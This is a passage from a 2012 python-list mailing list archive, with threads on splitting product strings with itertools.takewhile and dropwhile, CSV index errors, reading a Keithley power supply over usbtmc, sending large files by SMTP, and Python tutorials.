<50bdc601$0$9517$9b4e6d93@newsspool1.arcor-online.net> <50bde242$0$6947$e4fe514c@news2.news.xs4all.nl> Message-ID: On 2012-12-04, Hans Mulder wrote: > It's considered bad style to use map it you don't want the list it > produces. > >> There are more ways: >> >>>>> from operator import add >>>>> reduce(add, a) >> (1, 2, 3, 4) > > There's a built-in that does "reduce(operator.add"; it's called "sum": > >>>> sum(a, ()) > (1, 2, 3, 4) I thought that sort of thing would cause a warning. Maybe it's only for lists. Here's the recipe from the itertools documentation: def flatten(listOfLists): "Flatten one level of nesting" return chain.from_iterable(listOfLists) -- Neil Cerutti From thebalancepro at gmail.com Tue Dec 4 08:57:58 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 05:57:58 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile Message-ID: Hi, I came across itertools.dropwhile only today, then shortly afterwards found Raymond Hettinger wondering, in 2007, whether to drop [sic] dropwhile and takewhile from the itertools module. Fate of itertools.dropwhile() and itertools.takewhile() - Python bytes.com http://bit.ly/Vi2PqP Almost nobody else of the 18 respondents seemed to be using them. And then 2 hours later, a use case came along. I think. Anyone have any better solutions? I have a file full of things like this: "CAPSICUM RED fresh from Queensland" Product names (all caps, at start of string) and descriptions (mixed case, to end of string) all muddled up in the same field. And I need to split them into two fields. Note that if the text had said: "CAPSICUM RED fresh from QLD" I would want QLD in the description, not shunted forwards and put in the product name. So (uncontrived) list comprehensions and regex's are out. I want to split the above into: ("CAPSICUM RED", "fresh from QLD") Enter dropwhile and takewhile. 6 lines later: from itertools import takewhile, dropwhile def split_product_itertools(s): words = s.split() allcaps = lambda word: word == word.upper() product, description = takewhile(allcaps, words), dropwhile(allcaps, words) return " ".join(product), " ".join(description) When I tried to refactor this code to use while or for loops, I couldn't find any way that felt shorter or more pythonic: (9 lines: using for) def split_product_1(s): words = s.split() product = [] for word in words: if word == word.upper(): product.append(word) else: break return " ".join(product), " ".join(words[len(product):]) (12 lines: using while) def split_product_2(s): words = s.split() i = 0 product = [] while 1: word = words[i] if word == word.upper(): product.append(word) i += 1 else: break return " ".join(product), " ".join(words[i:]) Any thoughts? Nick From neilc at norwich.edu Tue Dec 4 08:58:42 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 4 Dec 2012 13:58:42 GMT Subject: CSV out of range References: <20121204113102.GA4194@taris.box> Message-ID: On 2012-12-04, Anatoli Hristov wrote: > The issue is now solved I did: > > for x in mylist: > try: > sku.append(x[4]) > except IndexError: > pass > > Thank you for your help Optionally: for x in mylist: if len(x) >= 4: sku.append(x[4]) But do you really need to save the whole file in a list first? You could simply do: for record in csvreader: if len(record) >= 4: sku.append(record[4]) Or even: sku = [record[4] for record in csvreader if len(record) >= 4] -- Neil Cerutti From neilc at norwich.edu Tue Dec 4 09:23:34 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 4 Dec 2012 14:23:34 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: Message-ID: On 2012-12-04, Nick Mellor wrote: > I have a file full of things like this: > > "CAPSICUM RED fresh from Queensland" > > Product names (all caps, at start of string) and descriptions > (mixed case, to end of string) all muddled up in the same > field. And I need to split them into two fields. Note that if > the text had said: > > "CAPSICUM RED fresh from QLD" > > I would want QLD in the description, not shunted forwards and > put in the product name. So (uncontrived) list comprehensions > and regex's are out. > > I want to split the above into: > > ("CAPSICUM RED", "fresh from QLD") > > Enter dropwhile and takewhile. 6 lines later: > > from itertools import takewhile, dropwhile > def split_product_itertools(s): > words = s.split() > allcaps = lambda word: word == word.upper() > product, description = takewhile(allcaps, words), dropwhile(allcaps, words) > return " ".join(product), " ".join(description) > > When I tried to refactor this code to use while or for loops, I > couldn't find any way that felt shorter or more pythonic: I'm really tempted to import re, and that means takewhile and dropwhile need to stay. ;) But seriously, this is a quick implementation of my first thought. description = s.lstrip(string.ascii_uppercase + ' ') product = s[:-len(description)-1] -- Neil Cerutti From vlastimil.brom at gmail.com Tue Dec 4 09:31:48 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Tue, 4 Dec 2012 15:31:48 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: 2012/12/4 Nick Mellor : > Hi, > > I came across itertools.dropwhile only today, then shortly afterwards found Raymond Hettinger wondering, in 2007, whether to drop [sic] dropwhile and takewhile from the itertools module. > > Fate of itertools.dropwhile() and itertools.takewhile() - Python > bytes.com > http://bit.ly/Vi2PqP > > Almost nobody else of the 18 respondents seemed to be using them. > > And then 2 hours later, a use case came along. I think. Anyone have any better solutions? > > I have a file full of things like this: > > "CAPSICUM RED fresh from Queensland" > > Product names (all caps, at start of string) and descriptions (mixed case, to end of string) all muddled up in the same field. And I need to split them into two fields. Note that if the text had said: > > "CAPSICUM RED fresh from QLD" > > I would want QLD in the description, not shunted forwards and put in the product name. So (uncontrived) list comprehensions and regex's are out. > > I want to split the above into: > > ("CAPSICUM RED", "fresh from QLD") > > Enter dropwhile and takewhile. 6 lines later: > > from itertools import takewhile, dropwhile > def split_product_itertools(s): > words = s.split() > allcaps = lambda word: word == word.upper() > product, description = takewhile(allcaps, words), dropwhile(allcaps, words) > return " ".join(product), " ".join(description) > > > When I tried to refactor this code to use while or for loops, I couldn't find any way that felt shorter or more pythonic: > > (9 lines: using for) > > def split_product_1(s): > words = s.split() > product = [] > for word in words: > if word == word.upper(): > product.append(word) > else: > break > return " ".join(product), " ".join(words[len(product):]) > > > (12 lines: using while) > > def split_product_2(s): > words = s.split() > i = 0 > product = [] > while 1: > word = words[i] > if word == word.upper(): > product.append(word) > i += 1 > else: > break > return " ".join(product), " ".join(words[i:]) > > > Any thoughts? > > Nick > -- > http://mail.python.org/mailman/listinfo/python-list Hi, the regex approach doesn't actually seem to be very complex, given the mentioned specification, e.g. >>> import re >>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", "CAPSICUM RED fresh from QLD\nCAPSICUM RED fresh from Queensland") [('CAPSICUM RED', 'fresh from QLD'), ('CAPSICUM RED', 'fresh from Queensland')] >>> (It might be necessary to account for some punctuation, whitespace etc. too.) hth, vbr From wrw at mac.com Tue Dec 4 09:33:49 2012 From: wrw at mac.com (wrw at mac.com) Date: Tue, 04 Dec 2012 09:33:49 -0500 Subject: [newbie] problem with usbtmc-communication In-Reply-To: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> Message-ID: <08F1A190-8193-433D-B4E9-21353CC3622F@mac.com> On Dec 4, 2012, at 7:14 AM, Jean Dubois wrote: > The following test program which tries to communicate with a Keithley > 2200 programmable power supply using usbtmc in Python does not work as > expected. I have connected a 10 ohm resistor to its terminals and I > apply 0.025A, 0.050A, 0.075A en 0.1A, > I then measure the current and the voltage en write them in a file > De data produced looks like this: > 0.00544643 0.254061; first current value is wrong, voltage value is > correct > 0.0250807 0.509289; second current value is wrong, but it corresponds > to the first, second voltage is correct > 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > the second, 3rd voltage is right > 0.075099 1.01792; 4th current value is wrong, it corresponds to the > 3rd, 4th voltage is right > 4th correct current value is missing > > But is should be (numerical inaccuracy taking into account)(these data > were produced by a similar octave-program): > 0.0248947 0.254047 > 0.0499105 0.509258 > 0.0749044 0.764001 > 0.0998926 1.01828 > > Here is the python-program: > #!/usr/bin/python > import time > import os > import sys > measurementcurr='' > measurementvolt='' > timesleepdefault=1 > filename ='mydata.txt' > usbkeith = open('/dev/usbtmc1','r+') > usbkeith.flush() > usbkeith.write("*IDN?\n") > #strip blank line: > identification=usbkeith.readline().strip() > print 'Found device: ',identification > usbkeith.write("SYST:REM" + "\n") > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > keithdata = open(filename,'w') > #start first measurement > usbkeith.write(":SOUR:CURR 0.025\n") > usbkeith.write(":OUTP:STAT ON\n") > time.sleep(timesleepdefault) > usbkeith.write(":MEAS:CURR?\n") > time.sleep(timesleepdefault) > measurementcurr=usbkeith.readline() > print 'Measured current 1: ',measurementcurr > usbkeith.write("MEAS:VOLT?\n") > time.sleep(timesleepdefault) > measurementvolt=usbkeith.readline() > print 'Measured voltage 1: ',measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > #start second measurement > usbkeith.write("SOUR:CURR 0.050\n") > time.sleep(timesleepdefault) > usbkeith.write("MEAS:CURR?\n") > time.sleep(timesleepdefault) > measurementcurr=usbkeith.readline() > print 'Measured current 2: ',measurementcurr > usbkeith.write("MEAS:VOLT?\n") > time.sleep(timesleepdefault) > measurementvolt=usbkeith.readline() > print 'Measured voltage 2: ',measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > #start 3rd measurement > time.sleep(timesleepdefault) > usbkeith.write("SOUR:CURR 0.075\n") > time.sleep(timesleepdefault) > usbkeith.write("MEAS:CURR?\n") > time.sleep(timesleepdefault) > measurementcurr=usbkeith.readline() > print 'Measured current 3: ',measurementcurr > usbkeith.write("MEAS:VOLT?\n") > time.sleep(timesleepdefault) > measurementvolt=usbkeith.readline() > print 'Measured voltage 3: ',measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > #start 4th measurement > time.sleep(timesleepdefault) > usbkeith.write("SOUR:CURR 0.1\n") > time.sleep(timesleepdefault) > usbkeith.write("MEAS:CURR?\n") > time.sleep(timesleepdefault) > measurementcurr=usbkeith.readline() > print 'Measured current 4: ',measurementcurr > usbkeith.write("MEAS:VOLT?\n") > time.sleep(timesleepdefault) > measurementvolt=usbkeith.readline() > print 'Measured voltage 4: ',measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > usbkeith.write(":OUTP:STAT OFF\n") > print "Goodbye, data logged in file:" > print filename > usbkeith.close() > keithdata.close() > > can anyone here what is going wrong and how to get it right? > > thanks > jean > -- > http://mail.python.org/mailman/listinfo/python-list Just guessing here - it looks as though you are setting the current and THEN turning the output on. That might be the correct sequence or it might not. If not, it would explain the offset between that and the subsequent readings. This is really a Keithley problem, not a Python problem. -Bill From tolidtm at gmail.com Tue Dec 4 09:38:11 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 4 Dec 2012 15:38:11 +0100 Subject: CSV out of range In-Reply-To: References: <20121204113102.GA4194@taris.box> Message-ID: On Tue, Dec 4, 2012 at 2:58 PM, Neil Cerutti wrote: > On 2012-12-04, Anatoli Hristov wrote: >> The issue is now solved I did: >> >> for x in mylist: >> try: >> sku.append(x[4]) >> except IndexError: >> pass >> >> Thank you for your help > > Optionally: > > for x in mylist: > if len(x) >= 4: > sku.append(x[4]) > > But do you really need to save the whole file in a list first? > You could simply do: > > for record in csvreader: > if len(record) >= 4: > sku.append(record[4]) > > Or even: > > sku = [record[4] for record in csvreader if len(record) >= 4] > > -- > Neil Cerutti Thanks Neil, I'm still testing it - just trying to clean the things out and be sure that I can do all of the stuff :) I will create a list only of the products I have in the DB and will compare them for prices stock etc... so the list will be smaller :) Thanks again Anatoli From thebalancepro at gmail.com Tue Dec 4 09:47:21 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 06:47:21 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: <2152911e-50a0-42aa-8956-5eb96803c7c1@googlegroups.com> Hi Neil, Nice! But fails if the first word of the description starts with a capital letter. Nick On Wednesday, 5 December 2012 01:23:34 UTC+11, Neil Cerutti wrote: > On 2012-12-04, Nick Mellor wrote: > > > I have a file full of things like this: > > > > > > "CAPSICUM RED fresh from Queensland" > > > > > > Product names (all caps, at start of string) and descriptions > > > (mixed case, to end of string) all muddled up in the same > > > field. And I need to split them into two fields. Note that if > > > the text had said: > > > > > > "CAPSICUM RED fresh from QLD" > > > > > > I would want QLD in the description, not shunted forwards and > > > put in the product name. So (uncontrived) list comprehensions > > > and regex's are out. > > > > > > I want to split the above into: > > > > > > ("CAPSICUM RED", "fresh from QLD") > > > > > > Enter dropwhile and takewhile. 6 lines later: > > > > > > from itertools import takewhile, dropwhile > > > def split_product_itertools(s): > > > words = s.split() > > > allcaps = lambda word: word == word.upper() > > > product, description = takewhile(allcaps, words), dropwhile(allcaps, words) > > > return " ".join(product), " ".join(description) > > > > > > When I tried to refactor this code to use while or for loops, I > > > couldn't find any way that felt shorter or more pythonic: > > > > I'm really tempted to import re, and that means takewhile and > > dropwhile need to stay. ;) > > > > But seriously, this is a quick implementation of my first thought. > > > > description = s.lstrip(string.ascii_uppercase + ' ') > > product = s[:-len(description)-1] > > > > -- > > Neil Cerutti From neilc at norwich.edu Tue Dec 4 10:17:00 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 4 Dec 2012 15:17:00 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <2152911e-50a0-42aa-8956-5eb96803c7c1@googlegroups.com> Message-ID: On 2012-12-04, Nick Mellor wrote: > Hi Neil, > > Nice! But fails if the first word of the description starts > with a capital letter. Darn edge cases. -- Neil Cerutti From moonhkt at gmail.com Tue Dec 4 10:20:38 2012 From: moonhkt at gmail.com (moonhkt) Date: Tue, 4 Dec 2012 07:20:38 -0800 (PST) Subject: using smtp sent large file upto 60MB References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> Message-ID: On Dec 4, 6:07?pm, Chris Angelico wrote: > On Tue, Dec 4, 2012 at 7:15 PM, moonhkt wrote: > > How to using python send file uptp 60MB ? > > Step one: Don't. SMTP is almost never the best choice for sending huge > files around. > > There are plenty of other ways to share files; send an email with > instructions on how to access the file, rather than attaching the > file. For general consumption, the easiest way is usually to include a > URL for HTTP download. If it's something internal, you might want to > put the file on a shared-access FTP server or file share. > > ChrisA Thank for suggestion. The next task will be ftp to user folder. But first tasks is how to using python send huge files. From thebalancepro at gmail.com Tue Dec 4 10:24:07 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 07:24:07 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: I love the way you guys can write a line of code that does the same as 20 of mine :) I can turn up the heat on your regex by feeding it a null description or multiple white space (both in the original file.) I'm sure you'd adjust, but at the cost of a more complex regex. Meanwhile takewith and dropwith are behaving themselves impeccably but my while loop has fallen over. Best, Nick On Wednesday, 5 December 2012 01:31:48 UTC+11, Vlastimil Brom wrote: > 2012/12/4 Nick Mellor : > > > Hi, > > > > > > I came across itertools.dropwhile only today, then shortly afterwards found Raymond Hettinger wondering, in 2007, whether to drop [sic] dropwhile and takewhile from the itertools module. > > > > > > Fate of itertools.dropwhile() and itertools.takewhile() - Python > > > bytes.com > > > http://bit.ly/Vi2PqP > > > > > > Almost nobody else of the 18 respondents seemed to be using them. > > > > > > And then 2 hours later, a use case came along. I think. Anyone have any better solutions? > > > > > > I have a file full of things like this: > > > > > > "CAPSICUM RED fresh from Queensland" > > > > > > Product names (all caps, at start of string) and descriptions (mixed case, to end of string) all muddled up in the same field. And I need to split them into two fields. Note that if the text had said: > > > > > > "CAPSICUM RED fresh from QLD" > > > > > > I would want QLD in the description, not shunted forwards and put in the product name. So (uncontrived) list comprehensions and regex's are out. > > > > > > I want to split the above into: > > > > > > ("CAPSICUM RED", "fresh from QLD") > > > > > > Enter dropwhile and takewhile. 6 lines later: > > > > > > from itertools import takewhile, dropwhile > > > def split_product_itertools(s): > > > words = s.split() > > > allcaps = lambda word: word == word.upper() > > > product, description = takewhile(allcaps, words), dropwhile(allcaps, words) > > > return " ".join(product), " ".join(description) > > > > > > > > > When I tried to refactor this code to use while or for loops, I couldn't find any way that felt shorter or more pythonic: > > > > > > (9 lines: using for) > > > > > > def split_product_1(s): > > > words = s.split() > > > product = [] > > > for word in words: > > > if word == word.upper(): > > > product.append(word) > > > else: > > > break > > > return " ".join(product), " ".join(words[len(product):]) > > > > > > > > > (12 lines: using while) > > > > > > def split_product_2(s): > > > words = s.split() > > > i = 0 > > > product = [] > > > while 1: > > > word = words[i] > > > if word == word.upper(): > > > product.append(word) > > > i += 1 > > > else: > > > break > > > return " ".join(product), " ".join(words[i:]) > > > > > > > > > Any thoughts? > > > > > > Nick > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > Hi, > > the regex approach doesn't actually seem to be very complex, given the > > mentioned specification, e.g. > > > > >>> import re > > >>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", "CAPSICUM RED fresh from QLD\nCAPSICUM RED fresh from Queensland") > > [('CAPSICUM RED', 'fresh from QLD'), ('CAPSICUM RED', 'fresh from Queensland')] > > >>> > > > > (It might be necessary to account for some punctuation, whitespace etc. too.) > > > > hth, > > vbr From thebalancepro at gmail.com Tue Dec 4 10:24:07 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 07:24:07 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: I love the way you guys can write a line of code that does the same as 20 of mine :) I can turn up the heat on your regex by feeding it a null description or multiple white space (both in the original file.) I'm sure you'd adjust, but at the cost of a more complex regex. Meanwhile takewith and dropwith are behaving themselves impeccably but my while loop has fallen over. Best, Nick On Wednesday, 5 December 2012 01:31:48 UTC+11, Vlastimil Brom wrote: > 2012/12/4 Nick Mellor : > > > Hi, > > > > > > I came across itertools.dropwhile only today, then shortly afterwards found Raymond Hettinger wondering, in 2007, whether to drop [sic] dropwhile and takewhile from the itertools module. > > > > > > Fate of itertools.dropwhile() and itertools.takewhile() - Python > > > bytes.com > > > http://bit.ly/Vi2PqP > > > > > > Almost nobody else of the 18 respondents seemed to be using them. > > > > > > And then 2 hours later, a use case came along. I think. Anyone have any better solutions? > > > > > > I have a file full of things like this: > > > > > > "CAPSICUM RED fresh from Queensland" > > > > > > Product names (all caps, at start of string) and descriptions (mixed case, to end of string) all muddled up in the same field. And I need to split them into two fields. Note that if the text had said: > > > > > > "CAPSICUM RED fresh from QLD" > > > > > > I would want QLD in the description, not shunted forwards and put in the product name. So (uncontrived) list comprehensions and regex's are out. > > > > > > I want to split the above into: > > > > > > ("CAPSICUM RED", "fresh from QLD") > > > > > > Enter dropwhile and takewhile. 6 lines later: > > > > > > from itertools import takewhile, dropwhile > > > def split_product_itertools(s): > > > words = s.split() > > > allcaps = lambda word: word == word.upper() > > > product, description = takewhile(allcaps, words), dropwhile(allcaps, words) > > > return " ".join(product), " ".join(description) > > > > > > > > > When I tried to refactor this code to use while or for loops, I couldn't find any way that felt shorter or more pythonic: > > > > > > (9 lines: using for) > > > > > > def split_product_1(s): > > > words = s.split() > > > product = [] > > > for word in words: > > > if word == word.upper(): > > > product.append(word) > > > else: > > > break > > > return " ".join(product), " ".join(words[len(product):]) > > > > > > > > > (12 lines: using while) > > > > > > def split_product_2(s): > > > words = s.split() > > > i = 0 > > > product = [] > > > while 1: > > > word = words[i] > > > if word == word.upper(): > > > product.append(word) > > > i += 1 > > > else: > > > break > > > return " ".join(product), " ".join(words[i:]) > > > > > > > > > Any thoughts? > > > > > > Nick > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > Hi, > > the regex approach doesn't actually seem to be very complex, given the > > mentioned specification, e.g. > > > > >>> import re > > >>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", "CAPSICUM RED fresh from QLD\nCAPSICUM RED fresh from Queensland") > > [('CAPSICUM RED', 'fresh from QLD'), ('CAPSICUM RED', 'fresh from Queensland')] > > >>> > > > > (It might be necessary to account for some punctuation, whitespace etc. too.) > > > > hth, > > vbr From msirenef at lightbird.net Tue Dec 4 10:31:47 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Tue, 04 Dec 2012 10:31:47 -0500 Subject: New tutorials In-Reply-To: <50BB6BAA.2060409@lightbird.net> References: <50BB6BAA.2060409@lightbird.net> Message-ID: <50BE1763.7010101@lightbird.net> On 12/02/2012 09:54 AM, Mitya Sirenef wrote: > Hi everyone, I'm making a series of python tutorials and I've just > finished the introductory part: http://lightbird.net/larks/intro.html > > Feedback is appreciated.. - mitya > I've just added a new section 'blocky blocks', which is a clone of 'jumping blocks' game: http://lightbird.net/larks/blockyblocks.html I've used some rare unicode symbols in the game, they look a little strange in Gvim but seem to work fine in my terminal and browser. If you experience issues, please let me know. I've only tested in Linux terminal. -m From gandalf at shopzeus.com Tue Dec 4 10:41:04 2012 From: gandalf at shopzeus.com (Laszlo Nagy) Date: Tue, 04 Dec 2012 16:41:04 +0100 Subject: using smtp sent large file upto 60MB In-Reply-To: References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> Message-ID: <50BE1990.4020009@shopzeus.com> > Thank for suggestion. The next task will be ftp to user folder. But > first tasks is how to using python send huge files. Most SMTP servers are configured not to accept attachments bigger than 10 or 15MB. In general, you should never send emails with >5MB attachments. Not because it is not possible, but because it is unreliable, and the solution is never in your hand. The solution depends on the SMTP server configuration, and in most cases you don't have access to the computers holding the final destination of the emails. If you still don't want to accept this suggestion, then go ahead! Write a program, send out 100MB emails, and you will see for yourself that it just doesn't work. From jeandubois314 at gmail.com Tue Dec 4 11:12:35 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Tue, 4 Dec 2012 08:12:35 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> Message-ID: <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> On 4 dec, 15:33, w... at mac.com wrote: > On Dec 4, 2012, at 7:14 AM, Jean Dubois wrote: > > > > > The following test program which tries to communicate with a Keithley > > 2200 programmable power supply using usbtmc in Python does not work as > > expected. I have connected a 10 ohm resistor to its terminals and I > > apply 0.025A, 0.050A, 0.075A en 0.1A, > > I then measure the current and the voltage en write them in a file > > De data produced looks like this: > > 0.00544643 0.254061; first current value is wrong, voltage value is > > correct > > 0.0250807 0.509289; second current value is wrong, but it corresponds > > to the first, second voltage is correct > > 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > > the second, 3rd voltage is right > > 0.075099 1.01792; 4th current value is wrong, ?it corresponds to the > > 3rd, 4th voltage is right > > ? ? ? ? ? ? ? ? ? ? ? ? ? ?4th correct current value is missing > > > But is should be (numerical inaccuracy taking into account)(these data > > were produced by a similar octave-program): > > 0.0248947 0.254047 > > 0.0499105 0.509258 > > 0.0749044 0.764001 > > 0.0998926 1.01828 > > > Here is the python-program: > > #!/usr/bin/python > > import time > > import os > > import sys > > measurementcurr='' > > measurementvolt='' > > timesleepdefault=1 > > filename ='mydata.txt' > > usbkeith = open('/dev/usbtmc1','r+') > > usbkeith.flush() > > usbkeith.write("*IDN?\n") > > #strip blank line: > > identification=usbkeith.readline().strip() > > print 'Found device: ',identification > > usbkeith.write("SYST:REM" + "\n") > > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > > keithdata = open(filename,'w') > > #start first measurement > > usbkeith.write(":SOUR:CURR 0.025\n") > > usbkeith.write(":OUTP:STAT ON\n") > > time.sleep(timesleepdefault) > > usbkeith.write(":MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 1: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 1: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > #start second measurement > > usbkeith.write("SOUR:CURR 0.050\n") > > time.sleep(timesleepdefault) > > usbkeith.write("MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 2: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 2: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > #start 3rd measurement > > time.sleep(timesleepdefault) > > usbkeith.write("SOUR:CURR 0.075\n") > > time.sleep(timesleepdefault) > > usbkeith.write("MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 3: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 3: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > #start 4th measurement > > time.sleep(timesleepdefault) > > usbkeith.write("SOUR:CURR 0.1\n") > > time.sleep(timesleepdefault) > > usbkeith.write("MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 4: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 4: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > usbkeith.write(":OUTP:STAT OFF\n") > > print "Goodbye, data logged in file:" > > print filename > > usbkeith.close() > > keithdata.close() > > > can anyone here what is going wrong and how to get it right? > > > thanks > > jean > > -- > >http://mail.python.org/mailman/listinfo/python-list > > Just guessing here - it looks as though you are setting the current and THEN turning the output on. ?That might be the correct sequence or it might not. > ?If not, it would explain the offset between that and the subsequent readings. I changed the order of the two commands (first turn the source on then set the current) and this is the result 0.0994434 0.253431; first current value wrong but the value seems what the last one should be!, voltage correct 0.0251083 0.508319; second current value wrong but this is what the first should be, voltage correct 0.0501242 0.762834; 3rd current value wrong but this is what the second current value should ve, voltage correct 0.0749226 1.0167: 4th current value wrong but this is what the 3rd current value should be, voltage correct > > This is really a Keithley problem, not a Python problem. I thought also it was a Keithley problem but then I programmed exactly the same in octave and with octave I do get the correct results, so I think now it is at least a Python-related problem. Here is the octave- code so you see what I mean and maybe find what should be changed in the Python-code. clear file_id = fopen('mydata.txt', 'w'); readbytes = 10000; timesleepdefault=1 fd = usbtmc_open("/dev/usbtmc1"); usbtmc_write(fd,"*IDN?"); result = char(usbtmc_read(fd,readbytes)) usbtmc_write(fd,"SYST:REM"); usbtmc_write(fd,"SENS:VOLT:PROT 1.5"); #start 1st measurement usbtmc_write(fd,"SOUR:CURR 0.025"); usbtmc_write(fd,"OUTP:STAT ON"); pause (timesleepdefault) usbtmc_write(fd,"MEAS:CURR?"); resultcurr = char(usbtmc_read(fd,readbytes)) #strip line termination resultcurr = resultcurr(1:end-1); usbtmc_write(fd,"MEAS:VOLT?"); resultvolt = char(usbtmc_read(fd,readbytes)) fprintf(file_id,'%s',resultcurr,' ',resultvolt) #start 2nd measurement usbtmc_write(fd,"SOUR:CURR 0.050"); pause (timesleepdefault) usbtmc_write(fd,"MEAS:CURR?"); resultcurr = char(usbtmc_read(fd,readbytes)) #strip line termination resultcurr = resultcurr(1:end-1); usbtmc_write(fd,"MEAS:VOLT?"); resultvolt = char(usbtmc_read(fd,readbytes)) fprintf(file_id,'%s',resultcurr,' ',resultvolt) #start 3rd measurement usbtmc_write(fd,"SOUR:CURR 0.075"); pause (timesleepdefault) usbtmc_write(fd,"MEAS:CURR?"); resultcurr = char(usbtmc_read(fd,readbytes)) #strip line termination resultcurr = resultcurr(1:end-1); usbtmc_write(fd,"MEAS:VOLT?"); resultvolt = char(usbtmc_read(fd,readbytes)) fprintf(file_id, '%s',resultcurr,' ',resultvolt) #start 4th measurement usbtmc_write(fd,"SOUR:CURR 0.1"); pause (timesleepdefault) usbtmc_write(fd,"MEAS:CURR?"); resultcurr = char(usbtmc_read(fd,readbytes)) #strip line termination resultcurr = resultcurr(1:end-1); usbtmc_write(fd,"MEAS:VOLT?"); resultvolt = char(usbtmc_read(fd,readbytes)) fprintf(file_id,'%s',resultcurr,' ', resultvolt) usbtmc_close(fd); fclose(file_id) From news at blinne.net Tue Dec 4 12:18:01 2012 From: news at blinne.net (Alexander Blinne) Date: Tue, 04 Dec 2012 18:18:01 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> Another neat solution with a little help from http://stackoverflow.com/questions/1701211/python-return-the-index-of-the-first-element-of-a-list-which-makes-a-passed-fun >>> def split_product(p): ... w = p.split(" ") ... j = (i for i,v in enumerate(w) if v.upper() != v).next() ... return " ".join(w[:j]), " ".join(w[j:]) Greetings From jeanmichel at sequans.com Tue Dec 4 12:36:32 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Tue, 4 Dec 2012 18:36:32 +0100 (CET) Subject: Working with classes In-Reply-To: <6ab9bead-68b2-4733-bbcb-ee15fbadaa8d@googlegroups.com> Message-ID: <760317000.397407.1354642592923.JavaMail.root@sequans.com> ----- Original Message ----- > Hello, I've been working on this program for a long time but can't > seem to get it to work.. The first array is the input file, then a > class, another class and the actual program. Could anyone see what > is wrong? I'm sorry if the program doesn't make any sense at all > I'm just starting to learn this.. > > The exercise wants us to do the following: > 5,4 4,5 8,7 > Add behind 6,3 3,2 9,6 4,3 > Add in front 7,6 > Add behind 9,8 > Add in front 5,5 7,8 6,5 6,4 > These are coordinates in the form(x,y) and the x coordinates need to > be raised by 1. > > pirateinvoer: > 5,4 4,5 8,7=6,3 3,2 9,6 4,3=7,6=9,8=5,5 7,8 6,5 6,4 > Sorry I tried to guess what your trying to do for 10 minutes, but can't figure it out. The code doesn't help either. What is your input ? a file ? what is __exactly__ its content? What is the output ? a file ? what's the content. What is pirateinvoer ? an input, an output ? What is the meaning of = in pirateinvoer ? cheers, JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From who at 